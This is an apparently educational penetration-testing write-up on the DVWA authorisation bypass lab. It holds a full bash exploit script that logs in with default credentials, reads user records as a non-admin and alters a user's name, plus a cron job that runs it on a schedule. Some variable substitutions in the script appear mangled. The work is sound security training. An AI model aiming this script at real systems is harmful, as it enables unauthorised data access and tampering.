Authorisation Bypass in DVWA

1 Introduction
In this post, the Authorisation Bypass vulnerability in the Damn Vulnerable Web Application (DVWA) is described. The objective for attacks on all levels is to identify any areas where authorisation checks have been missed.
The creators of DVWA describe the authorisation bypass module in the following way:
When developers have to build authorisation matrices into complex systems it is easy for them to miss adding the right checks in every place, especially those which are not directly accessible through a browser, for example API calls.
As a tester, you need to be looking at every call a system makes and then testing it using every level of user to ensure that the checks are being carried out correctly. This can often be a long and boring task, especially with a large matrix with lots of different user types, but it is critical that the testing is carried out as one missed check could lead to an attacker gaining access to confidential data or functions.
2 Lab environment
The penetration test is performed using virtual machines set up on Oracle VirtualBox. The VM specifications can be viewed in table 1 below.
.
Table 1
Lab environment setup.
| Vulnerable DVWA client | Attacker device | |
|---|---|---|
| IP address | 192.168.56.105 | 192.168.56.101 |
| Operating system | Kali GNU/Linux Rolling | Kali GNU/Linux Rolling |
| Network | Host-only Adapter | Host-only Adapter |
3 Vulnerability description
The page vulnerable to authorisation bypass consists of a list of users where the admin user can update the first name and surname of all users, see figure 1. The menu option linking to this page is only visible to the admin user. The source code reveals that there is no user privilege control for the low security level, but for the medium and high security levels there is a simple if (dvwaCurrentUser() != "admin") statement that prints "Unauthorised" and gives response code 403 if the current user is not an administrator.
.
Figure 1
The authorisation bypass page in DVWA.
.
vulnerabilities/authbypass/source/low.php:
<?php
/*
Nothing to see here for this vulnerability, have a look
instead at the dvwaHtmlEcho function in:
* dvwa/includes/dvwaPage.inc.php
*/
?>
.
vulnerabilities/authbypass/source/medium.php:
<?php
/*
Only the admin user is allowed to access this page.
Have a look at these two files for possible vulnerabilities:
* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php
*/
if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>
.
vulnerabilities/authbypass/source/high.php:
<?php
/*
Only the admin user is allowed to access this page.
Have a look at this file for possible vulnerabilities:
* vulnerabilities/authbypass/change_user_details.php
*/
if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?
4 Attack steps
In this section, the attack steps are mapped to the Cyber Kill Chain. The screencast of the attack can be viewed here:
.
4.1 Reconnaissance
Browsing the site reveals that while the menu option linking to the page is only visible to the admin user, it is still accessible on the low security level via the URL. For the medium and high security levels, however, access is denied and "Unauthorised" is displayed on the screen.
By using the browser developer tools while logged in as the admin user, the network traffic can be observed. When the page is loaded, a GET-request with cookies (containing the PHP session ID and the security level) is sent to get_user_data.php, which retrieves the user data used to populate the table on the page. When updating a user's details, a POST-request with the user ID, first name, and surname, as well as cookies, is sent to change_user_details.php.
Inspection of the application login page also reveals that there is a hidden user token in the HTML, which along with the cookies, username, and password are needed to log in. Admin login credentials are already known in this case (username=admin, password=password), as are those for one of the regular users (username=gordonb, password=abc123), but they could easily have been guessed or been extracted during a previous attack.
.
4.2 Weaponization
Using reconnaissance findings, an executable shell script is created for interaction with the vulnerable endpoints. The script initially retrieves a valid PHP session ID by logging in, which is then used to perform the rest of the tasks. Attempts are made to access the authorisation bypass page, retrieve the user data that populates the page, and change the surname of user 3. The result of each attempt is then saved in local log files.
.
The executable shell script is available below in this post, but it is also available on GitHub. I have noticed that there are sometimes discrepancies in the code in the final post compared to the draft, which might have something to do with the use of markdown on Hashnode, although I am not entirely sure. So, if the code in this post does not work, please try the code on GitHub instead. The GitHub repository can be found here:
https://github.com/wikblo-0/Authorisation_Bypass_in_DVWA
.
4.2.1 Executable shell script
#!/bin/bash
SECURITY="[Enter security level here, i.e. low, medium, or high]"
USER="[Enter username here, e.g. admin or gordonb]"
PASS="[Enter password here, e.g. password or abc123]"
rm cookies.txt #removes old file with cookies
#saves login cookies and login page html to local files
curl -s -c cookies.txt \
-b "security=$SECURITY" \
http://192.168.56.105/DVWA/login.php \
>login.html
TOKEN=$(grep -oP "name='user_token' value='\K[^']+" login.html) #saves user token variable found in login html
PHPSESSID=\((awk '\)6=="PHPSESSID"{print $7}' cookies.txt) #saves PHP session ID found in cookies
#logs in using cookies and user token
curl -s -b cookies.txt \
-b "security=$SECURITY" \
-d "username=\(USER&password=\)PASS&user_token=$TOKEN&Login=Login" \
http://192.168.56.105/DVWA/login.php
#attempts to access authorisation bypass page
HTML=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
http://192.168.56.105/DVWA/vulnerabilities/authbypass/)
{
echo "[$(date)] Testing Authorisation Bypass"
echo "User: $USER"
echo "Security level: $SECURITY"
echo "Endpoint: /DVWA/vulnerabilities/authbypass/"
echo ""
if echo "$HTML" | grep -q "Welcome to the user manager"; then
echo "Result: ACCESS GRANTED (Potential Authorisation Bypass)"
echo ""
echo "Evidence:"
echo "$HTML" | grep "Welcome to the user manager" | sed 's/^[[:space:]]*//'
else
echo "Result: ACCESS DENIED"
echo "Admin functionality not accessible"
fi
}> /home/kali/auth_bypass1.log
#attempts to retrieve user data
RESPONSE=$(curl -s \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
http://192.168.56.105/DVWA/vulnerabilities/authbypass/get_user_data.php)
{
echo "[$(date)] Attempting to retrieve user data"
echo "User: $USER"
echo "Security level: $SECURITY"
echo "Endpoint: /DVWA/vulnerabilities/authbypass/get_user_data.php"
echo ""
if echo "$RESPONSE" | jq -e '.result=="fail"' >/dev/null 2>&1; then
echo "Result: \((echo "\)RESPONSE" | jq -r '.error')"
else
echo "Result: ACCESS GRANTED"
echo ""
echo "User Table:"
echo "$RESPONSE" | jq -r '.[] | "\(.user_id)\t\(.first_name)\t\(.surname)"' | column -t
fi
} > /home/kali/auth_bypass2.log
#attempts to change the surname of user 3
{
echo "[$(date)] Attempting to modify user 3..."
echo "User: $USER"
echo "Security level: $SECURITY"
echo "Endpoint: /DVWA/vulnerabilities/authbypass/change_user_details.php"
echo ""
curl -s -X POST \
-b "PHPSESSID=\(PHPSESSID; security=\)SECURITY" \
-H "Content-Type: application/json" \
-d '{"id":3,"first_name":"Hack","surname":"Successful"}' \
http://192.168.56.105/DVWA/vulnerabilities/authbypass/change_user_details.php \
| jq -r '"Result: " + .result'
} > /home/kali/auth_bypass3.log
.
4.3 Delivery
The exploit is delivered by sending crafted HTTP requests to the server via the executable shell script. The execution of the script is scheduled, and thereby automated, using cron. It is set up according to the following:
Open crontab using the following command:
crontab -eAdd the following for execution every 10 minutes:
*/10 * * * * /home/kali/scraper.shSave file (ctrl + x, y, enter).
Check the crontab with the following command:
crontab -lCheck directory for log files using the following commands:
cat auth_bypass1.logcat auth_bypass2.logcat auth_bypass3.log
.
4.4 Exploitation
The vulnerability is triggered when the server processes the request without verifying user privileges.
.
4.5 Installation
Traditional persistence is not achieved in this scenario. However, the modification of user records persists in the database, meaning that the unauthorised changes remain after the attack.
.
4.6 Command and Control
While there is no traditional command and control infrastructure in this attack, an authenticated session is maintained via cookies, there is periodic automated communication through scheduled HTTP requests, and exfiltrated data is retrieved through local log files. The attack channel is standard HTTP communication between attacker and web server.
.
4.7 Actions on Objectives
On the low security level, non-admin users can access the authorisation bypass page, retrieve the user data that populates the page, and alter the first name and surname of a user. On the medium security level, non-admin users cannot access the authorisation bypass page, but they can retrieve the user data that populates the page, and alter the first name and surname of a user. On the high security level, non-admin users cannot access the authorisation bypass page, or retrieve the user data that populates the page, but they can alter the first name and surname of a user. This is summarized in table 2 below.
.
Table 2
Possible actions for each security level.
| Low security level | Medium security level | High security level | |
|---|---|---|---|
| Access the authorisation bypass page | Yes | No | No |
| Retrieve the user data that populates the page | Yes | Yes | No |
| Alter the first name and surname of a user | Yes | Yes | Yes |
5 Evidence of attack success
Evidence of attack success can be viewed for each security level below.
.
5.1 Low security level
Evidence of attack success on the low security level can be viewed in figure 2-4.
.
Figure 2
Accessing the authorisation bypass page on the low security level.
.
Figure 3
Retrieving the user data that populates the page on the low security level.
.
Figure 4
Altering the first name and surname of a user on the low security level.
.
5.2 Medium security level
Evidence of attack success on the medium security level can be viewed in figure 5-7.
.
Figure 5
Failing to access the authorisation bypass page on the medium security level.
.
Figure 6
Retrieving the user data that populates the page on the medium security level.
.
Figure 7
Altering the first name and surname of a user on the medium security level.
.
5.3 High security level
Evidence of attack success on the high security level can be viewed in figure 8-10.
.
Figure 8
Failing to access the authorisation bypass page on the high security level.
.
Figure 9
Failing to retrieve the user data that populates the page on the high security level.
.
Figure 10
Altering the first name and surname of a user on the high security level.
.
5.4 All security levels
Evidence of attack success on all security levels can be viewed in figure 11. User 3, which previously had the name "Hack Me", is now named "Hack Successful" as a result of the user alteration.
.
Figure 11
Proof of user alteration.
6 Impact analysis (CIA)
The attack affects confidentiality, as non-administrators can access the endpoint that returns all user records and furthermore retrieve information about other users that should only be visible to administrators. This results in unauthorised disclosure of user information and potential exposure of personally identifiable information in a real system.
The attack also affects integrity, as non-administrators can modify user records. The impact of this consists of unauthorised modification of stored data, potential defacement or corruption of user profiles, and loss of trust in the accuracy of stored information. Although only users' first name and surname can be altered, it still represents unauthorised data tampering.
There is no direct impact on availability, as the vulnerability does not allow deletion of users or disabling of accounts, and cannot be used to overload or crash the service. Indirect impact can occur though if user records are corrupted or administrative processes rely on accurate data.
7 Severity assessment (CVSS v4.0)
The vulnerability scores 2.3 (Low) using the Common Vulnerability Scoring System (CVSS), version 4.0. For this calculation, the online FIRST CVSS v4.0 calculator was used (https://www.first.org/cvss/calculator/4.0#).
Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
.
7.1 Exploitability metrics
The attack vector is network, as the attack is performed by sending HTTP requests over the network to the DVWA server. The attack complexity is low, as it requires knowing valid user credentials and sending crafted HTTP requests to endpoints, but it does not require special conditions or race conditions and the exploit is deterministic and scriptable. Attack requirements are present, as the attack requires a valid authenticated session. The required privileges are low, as the attacker must be an authenticated user, but a regular one is sufficient. The needed user interaction is none, as the attack does not require another user to perform any action. An overview can be found in table 3.
.
Table 3
Exploitability metrics.
| Metric | Result |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Attack Requirements (AT) | Present (P) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | None (N) |
.
7.2 Vulnerable system impact metrics
The vulnerable confidentiality impact is low, as attackers can retrieve user records on the low and medium security levels, which results in unauthorised disclosure of user information, although it is limited to user data. The vulnerable integrity impact is low, as unathorised data modification is possible but limited to user data. The vulnerable availability impact is none, as the attack does not affect service availability. An overview of this can be found in table 4.
.
Table 4
Vulnerable system impact metrics.
| Metric | Result |
|---|---|
| Confidentiality (VC) | Low (L) |
| Integrity (VI) | Low (L) |
| Availability (VA) | None (N) |
.
7.3 Subsequent system impact metrics
The vulnerability does not affect other systems, only the DVWA instance. The subsequent confidentiality, integrity and availability impact are therefore none. An overview of this can be found in table 5.
.
Table 5
Subsequent system impact metrics.
| Metric | Result |
|---|---|
| Confidentiality (SC) | None (N) |
| Integrity (SI) | None (N) |
| Availability (SA) | None (N) |
8 Mitigation strategies
Possible mitigation strategies include server-side authorisation checks, that verifies that the user has the required role before executing privileged actions, and role-based access control, which would ensure that only administrators can access sensitive endpoints. API endpoint access should be restricted and enforced on the server, not just in the user interface, and authorisation should be validated for each and every request. Proper logging and monitoring should be implemented to capture unauthorised access attempts, unusual API requests, and repeated modification attempts. Lastly, developers should also follow secure development practices, such as guidance from OWASP, which could result in regular security testing and code reviews that could detect issues early.
.
8.1 The impossible security level in DVWA
For this vulnerability in DVWA, the source code does not reveal much. The medium, high and impossible security levels all have an authorisation check where only admin users are allowed access to the vulnerable page. Non-admin users trying to access the page sees the message "Unauthorised" displayed on the screen and get response code 403.
.
vulnerabilities/authbypass/source/impossible.php:
<?php
/*
Only the admin user is allowed to access this page
*/
if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>






